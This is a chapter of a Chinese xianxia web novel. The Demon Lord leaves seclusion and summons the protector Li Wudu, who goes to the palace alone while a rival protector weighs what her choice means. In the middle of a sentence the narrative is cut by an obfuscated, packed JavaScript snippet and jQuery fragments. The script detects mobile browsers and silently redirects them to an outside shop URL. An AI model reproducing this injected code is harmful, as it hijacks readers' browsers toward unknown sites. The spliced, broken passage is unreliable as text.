230. 入宫觐见

作品:《重生成死对头的师尊后

    众魔集会散去不过数日,幽都上空的天象,便先一步起了异变。


    那一日,原本平静的幽都深处突然响起一声低沉古老的轰鸣,仿佛沉睡万古的庞然巨兽在地脉深处翻了个身。紧接着,上空的魔气竟开始逆流——往日如潮汐般向外漫溢的魔息,被一股无形巨力强自拽回,尽数涌向魔皇宫的方向。


    这征兆,魔域众魔再熟悉不过。


    ——魔尊出关了。


    魔皇宫上空,万年凝驻的黑云骤然翻涌,层叠如涛,似有巨手在冥冥中搅动。原本盘踞宫阙四周的护宫魔阵次第亮起,却尽数敛去锋芒,化作臣服姿态低伏收缩。数道古老威严的魔纹自宫底升起,横贯天际,将整座幽都映照得一片暗沉,令魔域所有魔修心头齐齐一沉。


    那是独属于魔尊的气息。


    无甚锋芒外露,却厚重如亘古黑岳,横亘天地之间,仅凭自身存在,便足以令众生俯首。


    幽都街巷间,先前还在暗中观望、私相揣测的魔众,此刻尽数噤声。低阶魔修伏地叩拜,高阶魔修亦不敢直视那片天幕,纷纷垂首敛息。便是历经风浪的老魔,也不由自主生出久违的战栗——这并非对某个人的畏惧,而是对“魔尊”这一尊位与生俱来的敬畏。


    这股威压尚未完全平息,一道自魔皇宫直发的敕令,已如暗影般掠过整座幽都:


    “宣无间区护法厉无渡,即刻入宫觐见。”


    言辞简略,无甚繁复辞藻,不解释缘由,更无半分商榷余地。


    一时间,魔域局势暗流汹涌。


    不少魔修听闻消息,第一反应便是:


    尊上偏在此时提前出关……真乃巧合?还是已然听闻风声,终究按捺不住,要动手了?


    有魔在暗处窃语:“果然来了……魔尊怎容得下一个连斩数位护法、几乎掌控半壁魔域的存在?”


    亦有魔修冷笑:“厉无渡若真去了,就知道这可不是觐见,而是清算。”


    整座幽都、乃至魔域众魔的目光,皆随这道敕令投向无间区,无数猜测在暗中发酵:


    ——厉无渡会去吗?


    她会不会以闭关为由,暂避锋芒?


    抑或干脆撕破面皮,先发制人?


    有人认定她必当应召,毕竟魔尊之威犹在,仍是魔域名义上的绝对主宰,任何护法在名分上皆为臣属,若敢抗命,便是赤裸裸的叛逆,正好能给玄煞不管不顾下杀手的正当理由。


    也有魔修暗中期盼她拒绝。


    毕竟如今的无间区护法早已非昔日可随意拿捏之辈,厉无渡这个名字,短短时日便成魔域一切话题都绕不开的存在——雷霆扫灭六大护法、吞并其遗产,未满三十便突破魔丹八转境,声威之盛,除魔尊玄煞外无人能及,甚至隐隐已有和他分庭抗礼之势。


    一旦她选择强硬对抗,这场“鸿门宴”或将直接演变为魔域千年未有的大乱。


    但更多魔修,只是在沉默中权衡。


    他们本就不关心谁对谁错。


    他们只在意——风向,终将往哪边倾斜。


    极乐护法立于永夜区高台之上,遥望魔皇宫方向。


    “果然如此……”他低声喃喃,语气中却无太多意外。


    他早已知晓,这一日迟早会来。


    只是未曾想,会来得这般迅疾。


    心念电转间,极乐护法遽然收回视线转身回殿,步伐瞧着从容,实则较平日快了半分。


    回到极乐护法殿,他遣退乐伎与侍魔,惯常萦绕的靡靡魔音消散无踪,只剩烛台中跳动的魔焰,将他的影子拉得忽长忽短。


    极乐护法于主位落座,抬手一挥,数道隐秘传讯符箓同时亮起。这些符箓形制各异,或来自幽都内城,或源自魔皇宫外围,或为他多年经营的“灰线”——不隶任何区域、不挂任何名目,却总能在关键时分,将消息精准送达。


    他静静等候。


    未过许久,第一道回应亮起。


    ——来自幽都西侧暗桩。


    “无间区方向有异动。护法殿禁制撤去,主殿魔阵重启,气息稳定……似是已然出关。”


    极乐指尖在扶手上轻轻一顿,指节微泛白。


    出关了。


    第二道符箓随即亮起。


    ——来自魔皇宫外城。


    “魔皇宫内侍调动,迎宾阵开启,却未启最高礼制。阵向所指……正是无间区。”


    见此消息,极乐忍不住低低笑了一声。


    未启最高礼制,个中意味再明晰不过——在玄煞眼中,厉无渡仍属“可杀之人”,绝非需平起平坐相待的存在。


    可偏偏,又不能如对待寻常护法般,以囚杀阵相迎。


    这份迟疑,本身便是破绽。


    第三道符箓亮起最慢,却也最是关键。符光微闪间,极乐的神色终于彻底定稳。


    “厉无渡已于一刻钟前离开无间区,独身前往魔皇宫。未携亲随,未动军阵。”


    独身。


    这一次,极乐护法是真的愣了一瞬。


    他原以为,即便厉无渡应召,也定会在无间区多做布置,或是故意拖延几日,试探魔尊态度;又或索性以整肃疆域为由暂缓入宫,逼玄煞先行表态。


    可她偏不。


    竟连半个人都未带。


    这已非单纯的“应召”,而是向整个魔域宣告——


    她不避,亦不惧。


    在她眼中,魔尊玄煞的召见,根本算不得需慎重对待的生死关口。那座令魔域众生俯首的魔皇宫,于她而言,不过是“去去便回”的寻常之地。


    极乐护法靠回椅背,仰头望着穹顶绘着极乐幻境的壁画,心中翻涌的情绪,比方才天象异变时更显复杂。


    “真是个疯子……”他低声道。


    然而说这话时,极乐护法嘴角却不由自主勾起一丝意味不明的弧度。


    他比任何人都清楚,厉无渡此行,绝不止是“赴宴”那般简单。


    魔尊玄煞想要什么,他心底有数——无非是她的性命,她体内炼化的七大护法本源,以及那条隐隐指向更高境界的修行之路。


    而厉无渡想要什么?


    极乐护法缓缓闭上眼。


    他想起当初在无间区边境,自己被她踩在生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912997|158912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    死线上时,那双冷静到近乎漠然的眼眸。


    她从未向任何人低头。


    哪怕身陷绝境,她考量的也从来不是“如何活下来”,而是“这般牺牲是否值得”。


    “这一次……”极乐轻声自语,“怕是要真正见分晓了。”


    他抬手,将所有亮着的符箓一一掐灭。


    随后起身,走到殿门前,再次望向魔皇宫方向。


    幽都上空的魔云仍在翻涌,隐约可见那座象征绝对权威的黑色宫阙,如蛰伏巨兽,静候猎物踏入其领域。


    这一刻,极乐护法比任何魔都清楚:无论今日魔皇宫中发生何事,魔域的局势,都再也回不到从前了。


    ……


    时间倒回极乐护法收到厉无渡只身赴会的消息之前。


    无间区护法殿大门紧闭,层层禁制依旧运转,魔纹流转如深海暗潮,殿内一片静谧,外界喧嚣仿佛被隔绝在另一个世界。


    前来替魔尊传讯的魔使,根本不敢踏足护法殿附近,只在殿外百丈处扬声禀报来意,忌惮之意溢于言表。


    葛离、红萼、摩柯等魔将皆在当场,听闻魔使传讯内容,心头陡然一紧,不约而同对视一眼,便瞧见了彼此脸上如出一辙的不安。


    未等他们再多想,只听“吱呀”一声,护法殿那扇厚重大门竟自行开启。


    厉无渡迈步走出。


    她未着战甲,亦未披法袍,只着一身极简的描金墨裙。衣角垂落,金纹内敛,乍一看去,竟不似那横扫六大护法、于激战中踏入八转境的狠角色,反倒像刚结束一场寻常闭关的修行者。


    可她甫一踏出殿门,整片无间区的魔气便微微一沉。


    这并非威压外放,而是更深层的“归位”——仿佛这片区域的魔气,本就该以她为核心流转。


    葛离、摩柯、红萼等人齐齐上前欲行礼,厉无渡却淡淡瞥了他们一眼,抬手示意不必多礼。


    “魔尊召见。”她语气平静,似在复述一件早有预料之事,“我去一趟。”


    无多余解释,亦未交代“若我未归该如何”的后路。


    可正是这份近乎笃定的从容,反倒让在场众魔心底同时一凛。


    “我不在期间,无间区一切照旧。”厉无渡淡声道,“既定的整合继续推进,不必因我停滞。”


    “若有处理不了或拿不定主意的,便等我回来再议。”


    “是。”众魔将领命,态度恭谨得无可挑剔。


    厉无渡不再多言,抬步向前。脚下魔气自然而然铺开,化作一条无形通路。下一瞬,她的身影已化作一道暗色流光,直指现任魔尊玄煞的居所——魔皇宫。


    夜色渐深。


    魔皇宫上空的黑云依旧翻涌不息,像一头蛰伏的凶兽,耐心等待猎物踏入自己的领地。


    “凶兽”巍然耸立,黑曜般的宫阙在幽都中央投下庞大阴影。随着厉无渡的靠近,护宫大阵自动分开一道通路,古老的魔纹在她脚下亮起,又迅速熄灭,仿佛在确认某种资格。


    但直到厉无渡跨过门槛,殿门在她身后缓缓合拢时,她都甚至没有受到任何阻拦。